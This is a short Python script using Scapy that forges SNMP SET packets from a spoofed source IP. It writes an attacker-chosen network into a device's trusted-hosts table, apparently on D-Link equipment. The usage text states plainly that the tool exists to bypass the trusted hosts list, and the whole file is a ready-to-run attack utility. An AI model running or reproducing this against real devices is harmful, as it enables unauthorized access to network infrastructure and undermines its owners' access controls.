trhost_spoofip

#This utility requires an 'Scapy' installed
#xcme@2014.05.12

import sys
from scapy.all import *
conf.verb=0

if len(sys.argv) != 7:
    print "Usage  : %s <target> <spoofed_ip> <community> <trusted_network_address> <trusted_network_mask> <entry_index>" % (sys.argv[0])
    print "Example: %s 192.168.0.1 192.168.10.254 private 172.16.0.0 255.255.0.0 7" % (sys.argv[0])
    print "\nUtility to create a trusted host, bypassing the trusted hosts list. You must known the correct SNMP write-community and know at least one address from the list of trusted hosts."
    print "If you used a spoofed IP the output will be empty. It's a normal behavior."
    sys.exit(1)

target_ip  = sys.argv[1]
spoofed_ip = sys.argv[2]
comm       = sys.argv[3]
val1       = ASN1_IPADDRESS(sys.argv[4])
val3       = ASN1_IPADDRESS(sys.argv[5])
val2       = 4
eind       = sys.argv[6]

oid1="1.3.6.1.4.1.171.12.1.2.10.1.1.2.%s" % (eind)
oid2="1.3.6.1.4.1.171.12.1.2.10.1.1.3.%s" % (eind)
oid3="1.3.6.1.4.1.171.12.1.2.10.1.1.4.%s" % (eind)

pkt=IP(dst=target_ip,src=spoofed_ip)/UDP(sport=7001,dport=161)/SNMP(version=1,community=comm,
PDU=SNMPset(varbindlist=[
SNMPvarbind(oid=ASN1_OID(oid1),value=val1),
SNMPvarbind(oid=ASN1_OID(oid2),value=val2),
SNMPvarbind(oid=ASN1_OID(oid3),value=val3)
]))
res=sr1(pkt,timeout=1)

if res:
    err  = res[SNMPresponse].error.val
    erri = res[SNMPresponse].error_index.val
    print "error: %s (%s)" % (err, erri)
    for i in res[SNMPresponse].varbindlist:
        oid  = i.oid.val
        val  = i.value.val
        print "oid: %s, val: %s" % (str(oid), str(val))